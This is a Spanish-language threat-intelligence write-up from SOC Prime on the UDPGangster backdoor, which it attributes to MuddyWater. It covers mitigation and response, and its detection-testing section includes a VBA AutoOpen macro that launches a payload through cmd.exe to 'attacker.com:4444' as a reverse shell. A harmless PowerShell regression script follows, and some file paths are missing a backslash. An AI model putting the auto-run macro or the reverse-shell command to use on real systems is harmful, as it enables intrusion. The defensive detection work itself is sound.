SOC Prime Bias: Crítico

08 Dec 2025 13:27 UTC

Ataques de UDPGangster se Extienden a Múltiples Países

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Ataques de UDPGangster se Extienden a Múltiples Países
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

UDPGangster es una puerta trasera basada en UDP utilizada por el grupo de amenazas MuddyWater para controlar remotamente hosts de Windows. El compromiso inicial se produce a través de un documento de Word malicioso que utiliza macros VBA para soltar y ejecutar la carga útil. El malware realiza extensas verificaciones de anti-análisis y mantiene la persistencia copiándose en el directorio AppData del usuario y creando una clave Run. Se han observado campañas recientes dirigidas a usuarios en Turquía, Israel y Azerbaiyán.

Investigación

FortiGuard Labs examinó los correos electrónicos de phishing, la macro VBA incrustada, el ejecutable descargado y sus técnicas de persistencia. Extraeron indicadores como rutas de archivos, entradas de ejecución en el registro, nombres de mutex y la infraestructura C2 asociada. Al correlacionar direcciones IP, dominios y rutas PDB, los analistas pudieron vincular esta actividad a operaciones anteriores de MuddyWater.

Mitigación

Los pasos de mitigación incluyen el bloqueo de macros o una sólida capacitación de usuarios para evitar la ejecución de macros, y el despliegue de defensas en el endpoint que detecten escrituras sospechosas en carpetas públicas o de perfiles de usuarios, así como modificaciones a las claves de registro Run. Los equipos de red deberían monitorear el tráfico UDP anómalo en el puerto 1269 y bloquear direcciones IP y dominios maliciosos conocidos para interrumpir los canales C2.

Respuesta

Cuando se detecta actividad de UDPGangster, aísle el endpoint afectado, recopile memoria volátil e imágenes completas del disco, y busque el binario de la puerta trasera y artefactos relacionados. Bloquee la infraestructura C2 identificada, realice un análisis forense exhaustivo para descubrir sistemas comprometidos adicionales y actualice las firmas de seguridad para detectar tanto los documentos macro maliciosos como la carga útil de la puerta trasera.

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Comprobación Previa de Telemetría y Línea Base debe haber sido aprobada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

  • Narrativa y Comandos de Ataque:
    Un atacante entrega un documento de Word malicioso que contiene una macro VBA. La macro llama a la API de Windows CreateProcessA para generar cmd.exe y ejecutar la carga útil de UDPGangster (udp_gangster.exe). La carga útil establece una shell inversa al servidor C2 del atacante. Debido a que la macro pasa explícitamente la cadena “CreateProcessA” y el literal cmd.exe en la línea de comandos, la regla de detección coincidirá.

    1. Macro VBA (simplificada) – demuestra la llamada a la API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Desplegar la macro, abrir el documento y dejar que la macro se ejecute. El evento de creación del proceso resultante contendrá:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Script de Prueba de Regresión: El siguiente script de PowerShell reproduce exactamente la telemetría sin requerir un documento de Word. Llama a la API nativa de Win32 CreateProcessA vía Add-Type.

    # Prueba regresiva: llamada directa a CreateProcessA con cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Comandos de Limpieza: Remueva el artefacto creado durante la simulación.

    # Eliminar el archivo de registro temporal generado por la simulación
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue